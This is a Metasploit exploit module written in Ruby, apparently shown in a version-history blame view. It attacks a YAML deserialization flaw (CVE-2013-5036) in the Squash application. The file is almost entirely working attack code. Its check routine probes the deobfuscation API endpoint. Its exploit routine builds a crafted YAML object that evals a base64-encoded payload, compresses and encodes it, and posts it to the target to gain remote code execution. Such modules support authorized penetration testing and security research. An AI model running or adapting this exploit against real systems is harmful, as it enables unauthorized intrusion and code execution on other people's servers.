metasploit-framework/modules/exploits/unix/webapp/squash_yaml_exec.rb

75 lines
2.3 KiB
Ruby
Raw Normal View History

2013-08-06 18:00:17 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2013-08-06 18:00:17 +00:00
##
require 'zlib'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
2013-08-06 18:00:17 +00:00
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
2013-08-06 18:00:17 +00:00
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Squash YAML Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in the
YAML request processor of the Squash application.
},
'Author' =>
[
'Charlie Eriksen' # Discovery, initial exploit
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'],
[ 'OSVDB', '95992'],
2013-08-30 21:28:54 +00:00
[ 'CVE', '2013-5036']
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DisclosureDate' => 'Aug 06 2013',
'DefaultTarget' => 0))
2013-08-06 18:00:17 +00:00
2013-08-30 21:28:54 +00:00
register_options(
[
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"])
])
2013-08-06 18:00:17 +00:00
2013-08-30 21:28:54 +00:00
end
2013-08-06 20:14:21 +00:00
2013-08-30 21:28:54 +00:00
def check
response = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
'method' => 'POST',
'ctype' => 'application/json',
})
2013-08-08 18:30:53 +00:00
2013-08-30 21:28:54 +00:00
if response.code == 422
vprint_status("Got HTTP 422 result, target may be vulnerable")
2013-08-30 21:28:54 +00:00
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
2013-08-06 18:00:17 +00:00
2013-08-30 21:28:54 +00:00
def exploit
code = Rex::Text.encode_base64(payload.encoded)
yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
"'#{rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
payload = Rex::Text.encode_base64(Zlib::Deflate.deflate(yaml)).gsub("\n", "")
data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}"
2013-08-30 21:28:54 +00:00
send_request_cgi({
'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
'method' => 'POST',
'ctype' => 'application/json',
'data' => data
})
end
2013-08-06 18:00:17 +00:00
end